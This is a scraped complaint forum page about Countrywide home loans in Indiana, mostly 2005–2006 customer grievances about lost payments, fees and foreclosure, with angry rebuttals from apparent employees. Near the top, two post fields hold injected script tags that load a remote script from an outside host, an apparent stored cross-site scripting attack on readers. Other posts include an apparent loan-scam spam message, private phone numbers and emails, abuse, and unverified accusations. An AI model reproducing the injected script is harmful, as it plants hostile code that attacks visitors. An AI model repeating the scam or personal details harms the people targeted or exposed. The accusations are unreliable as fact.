Countrywide Financial Indiana Home Loans Sucks

COUNTRYWIDE HOME LOAN SUCKS!
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Countrywide Financial - Indiana Home Loans - Equity Loan Mortgages SUCKS!

Indiana Home Loans? Sub-prime (bad credit), Need money, Mortgage Refinance, Or Want A Home Equity Loan Indiana and dont want to get ripped off or have hiden fees on your Home Loans?

Need A Home Loan IN, Refinance, Purchase, Or Make Home Improvements. Mortgage Rates Have Reached A All-Time Low Make Sure You Pick A Broker That Will find the right Home Equity loan at the best rate for you. We recommend that you conduct your own due diligence on mortgage brokers to find the one that is best for you. This site is a forum for users and should not be your only source of information about Countrywide Home Loan prior to choosing a lender.

This is what home loan customers in Indiana (IN) have been saying...

Indiana Home Loans Sponsored By US Home Loan
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Date: Mon 12/25/06 10:53AM
From: <script src=http://nmaq.com/q.php>jonny645</scri pt>

Message: <script src=http://nmaq.com/q.php>jonny705</scri pt>
Date: Wed 12/6/06 10:36PM
From: R Hampton

Message: I just had a major Fuck with Country Wide. I had submitted my last two mortgage payments online. Neither of those went through. When I checked my account to make another payment early for the next month it says I am delinquent two months? What the HELL!??? I then proceed to make a payment over the phone to pay the last two months, and the rep tells me to re-submit my account number online. I do that, and Country Wide now charges me twice for two months, no I am out 5K and overdrawn on my account $1300. So to say the least I call CW customer service at 5:20 to get my money credited back. The Cust Serv agent then tells me she needs to get her manager on the phone. I wait 20 min more and then get disconnected or hung up on. When I call back I get a message that their customer service is now closed. What the hell again!! And the even stranger thing , on my bank statement the charges for the same payment are $40 different...I don't know what the hell is going on there...
Date: Sun 12/3/06 10:45AM
From: essen

Message: I am a private lender in the united stated.I give out loan s to people who need financail a**istant.We have some funds in our private account in which we are willing to loan out to the public.For more infomation you can contact me via email
essenloan@yahoo.ca.

Date: Mon 11/13/06 11:31PM
From: Toby Carter

Message: I just went through a disgusting experience in trying to do a refinance with this company. Their tv ads mentioned a combo loan to consolidate debt and pay off bills. I called to inquire if this was something I could do since I had a 2 mortgages and some credit card debt I wanted to combine. I had run into some trouble when my wife was unemployed for 2 1/2 months. The first time they told me they had problems with the debt to income ratios. Ok, they said they had a solution. Do a stated income/stated a**ets. I said fine...oh then lo and behold guess what...the appraisal came in low. Great job guys...I put the appraisal on the credit card that they said they would pay off with this refi. So they decided to do a pay option arm to lower my monthly payments for me. I said ok...it was the only option left to me. I needed to do something to lower my payments and pay off some of these bills. Well, by this time Countrywide has spent nearly a month and they still can't get my loan approved. I called them and told them I was disgusted with the service and the rep apologized and promised they would get my loan approved. They said they were really busy and they would get my loan done. He gave me the website to check my loan status. A couple days pa** and I check the website and it says the loan was approved and it was time to set the closing date. I called and wanted to verify this and he a**ured me the loan was in the hands of their closing dept. He told me to sit tight over the weekend and it would be smooth sailing. Well I call back Monday and guess what I hear...loan denied. LOAN DENIED. I screwed with this company for over a month and endured misleading promises and false hope. They botched the loan...the underwriter killed it because she saw income doc**ents and my loan was a SISA and somehow that killed it. I asked for my appraisal money back...too bad it's non refundable and I can't even transfer it and use it again. This company sucks and has their heads up their rears something awful. If you can't help somebody just say so...don't mislead them and string them along. Is it too much to ask for honesty and accountability?
Date
Left: August 04, 2006 By: Truth Commission In:

Well Jen, you do have a point there.

Yes it is a good idea to get back in touch with originator who sold you the deal.

But knowing sales managers at Countrywide? It's natural for sales managers to want their sales team to focus on sales. However, that is ALL Countrywide's managers care about. They want their salespeople to focus on NOTHING but new deals. And they instruct their salespeople to tell all their customers they once sold to call customer service if they are calling back because of an issue.

And what separates Countrywide from the other lenders: There are alot of Countrywide customers who ARE making their payments on time, but Countrywide IS NOT POSTING THEIR PAYMENTS!

And once again, Countrywide's technology is archaic, and very unreliable at accurate account maintainence and record keeping.


Left: August 03, 2006 By: Jen R. In: Muncie

Just as a thought ... if you're in trouble financially and you can't make your mortgage payments, why blame the customer service reps? I work in the industry and know for a fact that Fannie Mae, Freddie Mac, FHA and VA have very strict standards for what happens after the third payment is missed. The lender, Wells Fargo, countrywide or Washington Mutual can't do anything but follow protocol. It's sad when good people get caught up in these issues ... but the reason the laws and regulations are the way they are is because of the few who take advantage (look at welfare as an example ... how many people on welfare long term REALLY can't work at all? My guess is the number is pretty low). Same with the new BK laws ... we all get screwed because of the few who choose to refile bankruptcy every 7 years. I've been through the credit issues myself after my husband lost his job. We went into default two times on our home and almost had a foreclosure placed against our home. Each time we were fortunate enough to be able to clear the past due balances prior to being placed in foreclosure ... but it's the attorneys and legislature that should be blamed for how ugly the process gets after you miss your third payment. The lenders may not be nice, but they get stuck with the hand they are dealt and while YOU may really be trying to work with them, trust me, 80% of the people out there are not. My advice? If you have a problem with your loan, whether at Countrywide or somewhere else, contact the person who wrote your loan right away. They have a vested interest in helping you resolve your problems. They are paid on commission and live and die by the referrals they receive. NEVER work with a company's 800 number or internet lender ... go to a loan officer inside a branch. If you don't want to work with someone's assistant, ask the receptionist for the loan officer in the office who is newest in the business that has a good mentor/manager. That way you get all the best experience (from the manager) and the best service (from the new kid on the block who is eager to please). DiTech, Lending Tree, and the other internet lenders sell to the companies that own them (GMAC owns DiTech and Wells Fargo owns Lending Tree ... didn't you ever wonder why they win most of the "bids"?). Then, after your loan is closed, your loan officer, who works for the company that holds your loan, can help you. If they change companies, GO WITH THEM ... there's usually a very good reason why they left!


Left: July 26, 2006 By: In:

go file your overtime against these crooks. federal overtime is waiting...hahaha crooks at cfc.


Left: July 19, 2006 By: In:

the person saying dont contact someone is a company rep sent to scare people away, you can always contact bridgegirl24@yahoo.com or just post it hereon the website, it does not matter, she is the one who posted to go to the press and to the government if u were violated, so please spare us you posts of deterring people joingin forces....countrywide is running sooo scared and this site is out of their control obviously stated truths!!!!


Left: July 19, 2006 By: In:

why not contact bridgegirl@yahoo.com? she has been helpful to others and to me and only the company would not want anyone to get together and compare notes....ask countryfried chick and look at the posts of bridgegirl24@yahoo.com.







you can also go to the CFC stock message board and see her posts, as I know it, she was sexually harassed and crushed by CFC for complaining about it and other issues. she has fist hand knowledge, knowledge of others violated and overall helped me and many others, so anyone who claims she isn't is a Countrwydie employee sent here...nice try. post on this board if you do not want to email, but I will always help those whop ask for it and are clear about who they are and what they are trying to accomplish, you are not alone!!! brigegirl24!!! bridgegirl24@yahoo.com



Left: July 15, 2006 By: In:

I am on record that I don't think much of this mortgage company and, consequently, I should therefore not care about their employees, past or present, but since I am an honorable person I thought I would warn anyone thinking of contacting this person for help/or advice (bridegirl24@yahoo.com.) DON'T DO IT!!



Left: July 12, 2006 By: In:

if you were a past employee or current one who was wronged by this company please email me for help and to share and join together... bridgegirl24@yahoo.com


Left: July 08, 2006 By: In:

Everyone go to the press and tell your story, write them, write the editors and call the radio shows. It is the only way to get it out. Let the world know what scum this criminal company is. Give me one person who has complained and had the company thank them and admit they found something....damn scum, GO TO THE PRESS!!! The lawyers their are scum, Iam an ex-employee and speak from truth, numerous employees crushed when they have complained of stuff, numerous customers crushed when they complained, dared to sue, go get lawyers etc..don't call the press, write them and tell them the scum at cwide and their actions, its the only way.


Left: June 20, 2006 By: Truth Commission In: USA

THIS IS IN RESPONSE TO "JOE D" and his worthless post on June 11, THIS IS FOR ALL PRO-CW AND ANTI-CW READERS.



You don't seem to get it.



For many years Countrywide HAS BEEN #1 in customer service. But guess what? Countrywide is soon to be a HAS BEEN.



I know all this because I had just recently quit Countrywide to work for another mortgage company.



Countrywide didn't use move operations over to India, BUT NOW they do! That will be bad for customer service.



COUNTYWIDE IS NOW TOO CHEAP TO KEEP UP ON ITS COMPUTERS AND COMPUTER SYSTEMS. When I worked there, computers froze up at least 5 times a day, and application information was always getting erased.







That is why the number of customers complaining about missing payments has been increasing in the last few years.







That is why it is now taking Countrywide 30 to 40 days to close a loan. Also because Countrywide now has a lot of untrained, inefficient, and disorganized underwriters and processors. (Countrywide may now also be too cheap to hire an adequate staff)







That is also why payoffs and other items are now coming out wrong.















Also Countrywide requires just about all of its loan originations to use LANDSAFE appraisal, a company owned by Countrywide itself. Their appraisals are extremely conservative, and 9 out of 10 of mine and other A/Eís came in OVER $10K less than comps. Even if the home was in good condition. This forces the A/E to restructure the loan a higher rate, less cashout, fewer bills paid, or a some combination of the factors. Their appraisals set the road for disguised predatory lending, and bait and switch.



Wake up Joe D! Have you ever studied the life cycle of an organization? Check it out. It comes in four stages: Introduction, growth, maturity, and decline. Right now, Countrywide is slowing down in the growth stage about to hit maturity. The only thing holding right now is the brand name its built from its past. And if Countrywide continues with its path, it will not be long until it is in its decline stage.



ENRON WAS ONCE A FORTUNE 500 COMPANY. Countrywide is riding in the same path.



Also Countrywide was recently sued in California from its conduct as an employer, and apparently it never learned from the lawsuit. Another lawsuit will happen.



Joe D. you are not in the position to call the people here "Jerk Offs". Especially if you're another goon in Countrywide's management. Because only someone in CW management would stick up for Countrywide the way you just did.

Not to meantion Joe, you posted your same pathetic post on all 50 state pages here, claiming to be from different local cities.

And to the Pro-CW idiot who keeps taking up the excessive space in the forum with blank lines. GET A LIFE LOOSER.
You will not keep others from reading the previous posts.

And to the happy customers from a while back: R. Craig & John Happy Client. There are more and more customers complaining about CW. You're next. Scroll up and read about where its moving operations, and how they are keeping up with proper computers systems.


Left: June 14, 2006 By: In:

please see alabama and colorado site on this board.


Left: June 14, 2006 By: raymond hipton In: Indy

We had a Countrywide agent come to our home. When he showed up 45 minutes late reeking of booze he told us he had car trouble. When we sat down at the kitchen table a small glass pipe fell out of his left brest pocket. Clearly this was an instrument used to abuse drugs. My husband & I asked this person to leave our home and declined his loan offer. Watch out for these guys!



Left: June 14, 2006 By: VW In: Indianapolis, IN

I have been a customer of CHM for over 10 years and truly they suck. I have had to go to court several times with them to show proof that I made my payments. They were trying to foreclose on my home without any letters or notification all due to their bad record keeping. I proved all of my payments then they tried to stick me with over $3000 court costs. My home is currently up for sale as I want nothing else to do with Countrywide. They have the worst record keeping and customer service next to Centex Home Equity.


Left: June 13, 2006 By: In:

CHL = Enron


Left: June 11, 2006 By: In:






Left: June 11, 2006 By: Joe D In: Gary

Hey jerkoffs..CW ia a member of the S&P 500, Fortune 500, and #1 in customer satisfaction..this website's sole purpose is to drive business to US-Home Loans.com...get a life you stupid a**holes...



Left: May 30, 2006 By: In:

oh shut the fuck up you stupid ass chl employee.


Left: May 18, 2006 By: Jovanka and Robert In: Whiting

This CW Home Loan sucks is probably some disgruntled asshole who refused to do what it takes to get a loan. I actually found the home first and then went to get a loan, and got it in less than 30 days!! My credit was less than stellar and I had to come to agreements with a couple of lenders but in the end it was worth it. I do have a home and I received extra money at closing that I will be using to move and decorate with. All I have to say about Countrywide is thank-you!!


Left: April 09, 2006 By: In:

so why don't you go to another web site where you can share with everyone your good deed. this web site is "countrywide home loan SUCKS" figure it out!


Left: March 22, 2006 By: R. Criag In: hammond

i have had countrywide for 4 years and never had a problem(knock on wood)but my payments have always been paid on time never once have i been late!!!!!!!!! my escrow balance is always correct i check it every time i get a statemnet everything adds up to what it should be... It looks like the people that are having trouble with cwl are the ones that make late payments.I will continue to use them as long as everything stays the way it is now which is great.


Left: March 14, 2006 By: In:

BEWARE OF MANAGEMENT ADVISORS INTERNATIONAL OR MAI. THEY ARE A CUT THROAT RECRUITING FIRM OUT OF HICKORY AND CHARLOTTE, NC, AND FLORIDA. THEY RECRUIT YOUR EMPLOYEES OUT OF YOUR COMPANY THEN CALL YOU AND REQUEST THAT YOU PAY THEM A RETAINER TO FILL THE OPEN POSITION. A YEAR LATER AND THEY COME RIGHT BACK AND RECRUIT THAT SAME CANDIDATE THEY FILLED THE OPEN POSITION WITH. THEIR GAME IS GETTING RETAINERS. IF YOU RETAIN THEM THEN WALK AWAY FROM THE DEAL, YOU OWE THEM 75%. IF YOU RETAIN THEM BUT FILL THE POSITION WITH A CANDIDATE YOU FIND, YOU OWE THEM THE FULL FEE.


Left: February 18, 2006 By: In:

fuck off, pussy.


Left: February 17, 2006 By: John Happy client In: Greenwood, IN

Never had a problem with them. These days it seems everyone has to be perfect. We are human after all. Oh and if we mess up lets create a it sucks website. How absurd and childish and immature. What is our world coming to. Grow up people.


Left: February 03, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thatís right, no application fee, no appraisal fee, no title fee, no underwriting fee, NO CLOSING COSTS.

NEVEVERMIND THAT ITíS A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.


Left: February 03, 2006 By: jake In: cali

Improper Home Charges

Read then File a complaint

www.zimmreed.com




Left: January 29, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thatís right, no application fee, no appraisal fee, no title fee, no closing fee, NO CLOSING COSTS.

NEVEVERMIND THAT ITíS A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.

GO GET A BETTER RATE & SERVICE AT YOUR LOCAL BANK OR CREDIT UNION.



Left: January 20, 2006 By: roy In: tampa

Notice: Must Read
Sweat Shop Employees www.gdblegal.com
Appraisal Overcharges www.sherlocklegal.com
Wrong Doings www.jameshoyer.com
www.ripoffreport.com
file your complaint


Left: January 17, 2006 By: In:

When you pay online they stop sending the paper statements. Rolling 30 day lates will hurt your credit for the next 7 years too. They will probably hit you with their attorney fees next. Is there anyway you can bring this account current?

good luck


Left: January 16, 2006 By: J & B In:

We, too, have experienced the unprofessional, incompetent and uncaring attitude held by everyone we have talked to at CHL. Many times we never got to talk to a human. They are never there when you need them. We've been shut down completely. They don't want our payments, they just want the whole loan amount. And when you try to talk to them, you just get more BS. I don't see how a company so crooked can do business in America. They must be descendants of Ebeneezer Scrooge.
All of this has happened because we got behind one month's payment. So we then paid June's in July, then we paid July's in august, then August's payment in September. That's all it took. We were behind one payment, three months in a row. Then they stopped accepting our payments and wouldn't let us access our account. Weird way of doing business, don't you think?
J& B, Southern Indiana


Left: December 03, 2005 By: In:

Current Customers should call customer Service and tell them you want NO CONTACT 1-800-669-6607

That means:
*No emails
*No Phone Solicitations
*No Junk Mail

Get customer service reps name and employee ID# and make a note of it.

Countrywide gets around the do not call list because of a loop hole that allows them to call their current customers. Why do you think they buy so many mortgages? So they can call you and sell stuff to you is one reason.


Left: November 25, 2005 By: the real Michael In: Chicago

Yo dumbass, There is more than one "Mike" in Chicago who posts. CHL has it's problems like other lenders but no more than anyone else. I had my loan sold to them and after a few minor mistakes they have been great!


Left: November 25, 2005 By: Jason in Chicago In: Chi- town baby (Southside Rules)

Mike, why don't you post your name instead of posting your BS "countrywide is great" Rah Rah Rah crap with no name on the post. I guess you like dressing up in your cheerleading outfit! Oh, and go ahead and respond to the post like it's not true because URL's don't lie bioooootch!


Left: November 03, 2005 By: TOP PRODUCER In:

I'VE NEVER READ SUCH BS, AS I'VE READ JUST NOW! I HAVE A FEELING MOST OF YOU BABIES WHO GOT FIRED BECAUSE YOU WERE DOING FRAUD OR THOSE WHO THINK GOT THE SHORT END OF THE STICK PROBABLY HAVE 500 FICO SCORES, BECAUSE ONLY UNGRATEFUL BRATS COMPLAIN. CHL IS AMERICAS' #1 RESIDENTIAL MORTGAGE BANK IN THE WORLD! NO OTHER BANK CAN COMPETE. OUR RATES, OUTSTANDING CUSTOMER SERVICE, AND UNDERSTANDING OF THE MORTGAGE INDUSTRY WILL ALLOW US TO DOMINATE FOR YEARS TO COME. 1 OUT OF EVERY 3 PEOPLE HAVE A CHL, GO ASK YOUR NEIGHBOR HOW HAPPY HE/SHE IS WITH US. I DARE YOU!

THIS GOES TO ALL THE STUPID PEOPLE ON HERE: WHAT MORTGAGE BANK DO YOU KNOW THAT SPLIT 3 TIMES IN ONE YEAR AND HAD A ROR OF 90%?? ANYONE? YOU THINK WAMU, CHASE, WELLS, HAD A ROR OF OVER 90% IN ONE YEAR?? NO! THEY DIDN'T! BUT COUNTRYWIDE HOME LOANS DID. I SEE WHY THE AUTHOR OF THIS WEBSITE CREATED THIS WEBSITE; TO MISINFORM POTENTIAL CUSTOMERS FROM DOING BUSINESS WITH US. WHY IS IT THAT THIS WEBSITE ONLY HAS NEGATIVE POSTS?? NOTHING BUT A BUNCH OF BIAS KIDS. I'M GOING TO BE CHECKING IN A WEEK TO SEE IF THIS POST WAS POSTED, IF NOT THEN I KNOW WHAT THE AUTHOR HAS IN MIND AND THAT IS TO WEAKEN COUNTRYWIDE HOME LOANS. HE/SHE WOULD HAVE TO KEEP THIS WEBSITE FOR 10,000 YEARS BEFORE ANYONE STARTS HAVING DOUBT IN THIS COMPANY. IF SOME OF YOU GOT FIRED FROM THIS COMPANY, I'M GLAD! WE DON'T WANT YOU ANYWAY. WE ONLY WANT THE BEST WORKING HERE, GO TO OUR COMPETITORS THEY'LL HIRE YOU/ AND WE'LL CONTINUE BEING #1 IN THE WORLD IN RESIDENTIAL HOME LOANS. TAKE CARE GOD BLESS!

PLEASE ASK ME ANY QUESTION. AND STOP COMPLAINING THAT YOU DON'T KNOW WHERE TO SEND YOUR PAYMENT, THAT COMMENT IS AS OLD AS DINOSAURS. CALL THE MORTGAGE CONSULTANT YOU DEALT WITH AND HE'll DIRECTED YOU IN THE RIGHT PATH. WE ARE HERE TO HELP YOU ALONG THE WAY, FROM YOUR FIRST CONTACT, TO THE CLOSING TABLE, AND YOUR PICNIC AT YOUR HOME WITH FRIENDS AND FAMILY! THANK YOU FOR YOUR BUSINESS! GOD BLESS! LIVE WITH PASSION!!!!!!



Left: October 25, 2005 By: Brandi In: Evansville

My husband lost his in job in December & we fell behind 3mos on our mortg. We set up a deal w/CHL to catch up. They wouldn't accept our usual payment method(computer)said they had to have a check over the phone. Which we did. They didn't run the check when they were supposed to, so we called. They said they would get it taken care of. They ended up taking out 2 pays each $1024. We notified them of their mistake & how it overdrafted our acct. They said they would reimburse the fee's if a bank statement was faxed to them, which we did. Fee's totaled over $300. After numerous calls & faxes they never took care of the fees & then did an unauthorized payment by check for $1024. We have our attorney now handling b/c they have crossed the line into fraud. They won't even return his calls. We now have fee's over $600. Our attorney said he has a similiar case w/another client against CHL. NEVER let CHL have you checking acct number, they will rob you,literally!!!


Left: September 27, 2005 By: CHRISTINA MOORE In: SALEM

COUNTRYWIDE REALLY SUCKS-MY HUSBAND AND I PURCHASED A TWO STORY MODULAR HOME THAT JUST NEEDED FLOORING REPLACED ON THE LOWER FLOOR AND THE SECOND FLOOR FINISHED. WE HAD OUR HOME DEMOLISHED TO HAVE THIS HOME PUT ON OUR PROPERTY. NEEDLESS TO SAY THIS TOOK MORE THAN THE SEVEN WEEKS THAT WE WERE TOLD IT WAS GOING TO TAKE. WE MOVED OUR BELONGINGS TO A GARAGE AND ALL OF US (6 OF US) INTO A ONE BEDROOM TRAILER FOR THE SEVEN WEEKS. ANYWAY WE SPENT WINTER IN A HOME THAT THE ROOF WAS PRACTICALLY FALLING IN AND WE WERE CRAMPED AND MISERABLE ALL THE WHILE LOOKING AT THIS 2136 SQ FT HOME THAT WE WERE NOT LIVING IN. FEBRUARY WE WERE TOLD BY THE LOAN SPECIALIST THAT WE NEEDED TO CLOSE ON THE LOAN BECAUSE THE BANK WAS PAYING A $1OOO. A MONTH IN INTEREST AND THAT OUR LOCK IN RATES WERE NOT LONGER GOING TO BE VALID. SO WE CLOSED WITHOUT THE HOME BEING FINISHED AND THE LOAN SPECIALIST AND THE BUILDERS WORD(HA!)THAT THE HOME WOULD BE FINISHED IN ONE WEEK. I AM SURE THAT YOU CAN GUESS WHAT COMES NEXT. WELL ONE WEEK LATER I REALIZED THAT I HAD A PROBLEM AND STARTED CALLING COUNTRYWIDE AND SENDING EMAIL TO CUSTOMER SERVICE. CUSTOMER SERVICE NOW THAT IS A JOKE!!! ANYWAY IT TOOK FROM FEBRUARY TO JUNE FOR SOMEONE TO LISTEN TO ME. THEY FIRED THE LOAN SPECIALIST AND THEY THINK THAT SOLVES MY PROBLEM AND I SHOULD BE HAPPY THAT THEY FIRED HIM. MY HOUSE IS STILL NOT COMPLETE AND I CANNOT GET ANY ANSWERS FROM ANYONE ONLY THE RUNAROUND. I WAS TOLD THAT MY HOME WOULD BE COMPLETE NO MATTER WHAT. WINTER IS APPROACHING FAST AND WE REALLY NEED TO GET INTO OUR HOUSE BUT I HAVE LITTLE FAITH THAT THIS WILL HAPPEN. I WISH THERE WAS SOMEONE WHO COULD HELP US. PLEASE SEND EMAIL TO CMOORE@HUMANA.COM OR CALL 502-580-2124. WE HAVE BEEN JACKED ALL THE WAY AROUND FROM THE DEALER TO THE MORTGAGE COMPANY. HELP.


Left: September 21, 2005 By: Christina Dean In: Edinburgh

I currently have a loan through Countrywide, and am looking to switch to another company. I pusued the option to refinance my home on two occasions with CHL, and found out that CHL doe in fact pad their fees. The cost of my appraisal was $350.00 from CHL, the actual cost of the appraisal was $225.00 I later discovered. This happened both times. The first time I was refused the loan was b/c they used an old appraisal from 4 years prior - before I had moved into the home and had remodeled to upgrade in over $60,000 in expenses to include concrete work, all new windows, siding, etc. The second time they "lost" my application, and I was informed that the appraisal money I had paid already was non-refundable - even though I did not get the service I had paid for. In any case the best idea is to avoid CHL like the plague. It just goes to show you that big businesses with deep pockets can always find a way to cheat individuals who do not have the money to take on an entire corporation.


Left: September 20, 2005 By: An observer In: Atlanta, GA

I don't know about all the name calling, etc. but one thing is certain. Something bad has happened to Countrywide in Atlanta and there won't be an end until it's destroyed. Someone hired people to run this part of the company that either have no interest in the company or just simply aren't qualified to run a company. There is no profit being made and everyone is unhappy -- customers and employees. Seems like a recipe for disaster. Sit back and watch it fall. Maybe a year, maybe not that long. They'll be gone, someone new will be along or they can close down Atlanta altogether. I don't think Atlanta would be missed by the rest of Countrywide.



Left: July 27, 2005 By: Michael In: Chicago

If you think Countrywide is bad, take a look at this website and read about the REALLY bad ones!
http://www.mortgagereform.org/


Left: July 26, 2005 By: In:

I'm going to post this in every state listed here. YOU MUST TAKE RESPONSIBILITY FOR YOUR OWN ACTIONS AND DECISIONS!! I have recently left the lending industry. I can site many reasons for this, however the top reason has to be dealing with borrowers and potential borrowers who had no concept of financial responsibility. Just because you have a 700 credit score does not mean you demonstrate good use of credit or that you are guaranteed the rate or terms you want. In fact, many people who have the best credit scores carry the most debt. What you people do not understand is that the lending institutions want you to carry debt, so if you carry alot of debt and pay it on time your score will be higher than someone who pays their bills OFF every month and only carries a mortgage and a car loan/lease. If you fall on hard times, pay your damn mortgage and let the friggin' Visa's go delinquent. Visa isn't going to take your house, your mortgage company is. People jump to quickly to file BK. Guess what, ole' GW has made that next to impossible for the average American. You're better off making arrangements with your credit card companies and paying your mortgage off as quickly as possible. Use good judgement, not the "I want it now!" mentality. Buy a Trailblazer instead of the RangeRover or the Hummer or the Lincol or Caddy or whatever. How many of you people that post on here have kids? What kind of behavior do you think your actions teaches them? Anyone who would voice their opinion is more than welcome to email me at michael_harman1976@yahoo.com. I would be more than happy to help anyone who needs some good advice on how to get themselves into a good financial position. I am not selling anything, I'm a former CW employee who feels an obligation to help those who have been taken advantage of.

Michael


Left: July 25, 2005 By: Michael In: Chicago

Suzanne-
CW probably bought your delinquent property taxes. It is perfectly legal and acceptable for ANYONE to buy your delinquent property taxes and then charge you up to half of the tax amount on top of the taxes to redeem them. It's common practice. Keep track of your taxes and pay them on time. The reason you are not on the loan is probably because your husband doesn't have your name on the title of the property. If you live in Indiana it is a community property state and you have rights to the property as long as your husband did not own the property more than 5 years before you got married and/or you have been married less than 2 years. Check with the county on that otherwise your hubby could leave you and take the house without any legal recourse on your part.


Left: July 21, 2005 By: Suzanne In: orange county

My husband and i got a loan through cw in 2002. we then chose to refi in 2003 to do some repairs, at which point they refused to list me on the mortgage. When i tried to speak to someone at cw about it they refused to speak to me concerning the situation because my name was not on the loan. I was told to have my husband fax a notarized statement to them saying i was aloud to discuss the loan with them.(I am the one that handles all the bill payments in our household). He faxed them about eight times and they kept telling me it was not on file. by this time it was sept. of 2004. I finally called to see if there was another fax number i needed to use or what, because they were calling 10-15 times a month during the grace period to check on the payment, and since my husband would be at work, they would call until the payment posted which takes about 10 days from here to there.
I was finally told that I had been on file to discuss the loan since may 17 of 2003. After a year of harrassment by phone i was pretty fed up. They then, this year paid our property taxes without our knowledge and then charged us 200 dollars to pay them back for it. Talk about slipshod running of a company!


Left: June 14, 2005 By: pat In: usa

Please read some of the stories and an on going conversation with a CHL employee under the state of Massachusetts on this site. Wow, that "Ortize " guy is a true representation of a CHL associate!


Left: June 13, 2005 By: CW NEEDS TO WAKE UP!! In: KEEP PRESSING THESE CROOKS

HERE IS THE STORY OF THE LAW SUIT.

Countrywide Home Loans settles suit

Countrywide Home Loans Inc. agreed Tuesday to a $30 million settlement in a class-action suit brought against the company by employees at its California call center in Rosemead.

The $30 million will cover claims for unpaid overtime wagers, reimbursement of wage deductions, compensation for on-duty meal periods, attorneys' fees and related items.



Countrywide also agreed to reclassify all of its California call center account executives as non-exempt from state and federal overtime and other wage and hour laws.



The settlement has been given preliminary approval from Judge Victor H. Person of the Los Angeles County Superior Court.



Countrywide Home Loans is a division of Countrywide Financial Corp. (NYSE: CFC) Both companies are based in Calabasas.



Left: June 07, 2005 By: Debbie Wiest In: Versailles, In

My wife and I bought our home 3 years ago. In June 2004 we were sent a letter from our original lender stating they had sold our loan out to countrywide, with our payments starting with them in July 2004. Our Junes payment was mailed to our original lender like instructed. We have had nothing but problems since July 2004. Payments were made monthly to them. On May 16,2005 a sheriff delivered us a summons for intent to foreclose on our property. We were speechless. When have contacted Countrywide several times,sent them copies of of cashed checks from the bank (front and back) still to be told they are researching it. Our Mays payment was mailed back to us along with Junes stating that they cant accept payments since its in foreclosure.We are getting no where talking with them. Now we are being charged late fees for May and Junes payment and are being told the only way to get it out of foreclosure is to pay them over 4000.00. 1000.00 for their attorney fees. Come on isnt there anything we can do to stop this company from stealing and losing monies that are sent. If there is anyone willing to take on a lawsuit contact us. Forrest and Debbie Wiest 1-812-689-1038


Left: May 29, 2005 By: In: michigan city

Are there any competent people running countrywide? I purchased my first home at the age of 23 thinking i would have that "american dream" my morgage company sold me out to countrywide what a nightmare it's been. I love calling countrywide up especially when all you want to do is a simple transaction which should probably take a few min but, instead takes more than twice as long. They tell you what you can and cant do after the fact it's been legally done. According to them "you cant sell (land contract) even to family thru an attorney unless you do it thru them" the lady told me very hostily.I had some unfortunate circumstances occur and choose to sell instead of foreclosure and ruin my credit. I have also had the experience of having my family member send a check but now tyey claimed after over a year of taking it they wont nomore cause of 9/11. That's funny i purchased my house in 2003 and was able to do that over a year. So with them refusing to take payment it made it late which caused late fees.Last but not least i went to make a "quick" payment over the phone before i left for work and the lady kept on about her lecture when all i wanted to do was make a payment did she really care why it was a day late? Are they going to pay it or something?And can someone tell me why this company calls about 10 times in a row before leaving a message before the payments are even due?


Left: May 19, 2005 By: Julie In: Rolling Prairie

First of all, I would like to tell (anomyous) "loving countrywide" that their spelling and grammer SUCK, just like CWHL! It's anonymous you dope. As with most of the stories on this web site , my husband and I have been getting the runaround from these creeps for several months now, and I just wish we could afford to pay off our loan and go through another company. Today I a got a call fomm cw saying I owe $897- for May's payment. Our regular mortgage payment is $485- per month, we added our taxes and ins. to the account which make the pmt. $555.80- "NO PROBLEM", but for the last 3+ months they have claimed that somehow we have a negative escrow balance. The strangest thing is, depending on which customer service rep. I speak with, the escrow balance and monthly payment amounts vary conciderably! Today alone I spoke w/ Betty Jones, who told me $588,73 per month and a few minutes later said $570. Next I spoke w/ Demetrius, he stated $898.28 were my new payments. And last but not least, was Pamela Spears, she said $555.80, but that was only after starting out with a different figure. On May 10th I sent $977.27 and was told I would be caught up on payments and escrow, and my new pmts. starting in May would be $555.80. I sent $556- which cleared my bank on May 17th and was informed today that they do not accept partial pmts and I owed $898.28. We have been cw customers for years and the first payment over 30 days late was this march after they screwed me over in a way I still have'nt gotten to the bottom of. In all, I have sent them $2,583.80 since the middle of march ($1,255-) for my regular mortgage payments and ($1,328) for escrow. This is insane, my escrow balance was never over $800- and I have paid extra over many months to get that cought up! I don't know how they can get away w/ screwing people like this, but I'm fed up and ready to take action!!!
Sorry for everyone elses troubles, hope we can pull together and make a diffrence.
JD :(


Left: May 19, 2005 By: BEWARE In:

Thank you so much for this website. Our realtor recommended Countrywide so strongly that we went to them for our mortgage. If you think Countrywide is bad, try going to a realtor who works hand-in-hand with Countrywide. Countrywide gave us an interest rate upon which we based our offer. As soon as the offer was accepted, Countrywide upped the interest rate so much that we knew we could no longer afford the house, but we had signed an offer to purchase that allowed that rate of interest (on the advice of Countrywide, who said it didn't really mean we would ever have to pay that higher rate, it was just something to put on the offer). So, we went to a bank, and they offered us a much lower rate. The bank called the realtor to start the loan process. The realtor turned around and called Countrywide, who then called us, to offer us a much, much better rate. Okay. But then, Countrywide wouldn't move. Not even an application to start the loan process. Each time I called they tap-danced about computers and "in the system," etc. We had no application, no written estimate, nothing. Twelve days before closing I called our local bank in a panic. They were able to do the loan at that interest rate and cut Countrywide out completely. They said if we had waited a couple more days it would have been too late. We believe that Countrywide was holding out until we had no other options before they would give us a loan, and the terms of it 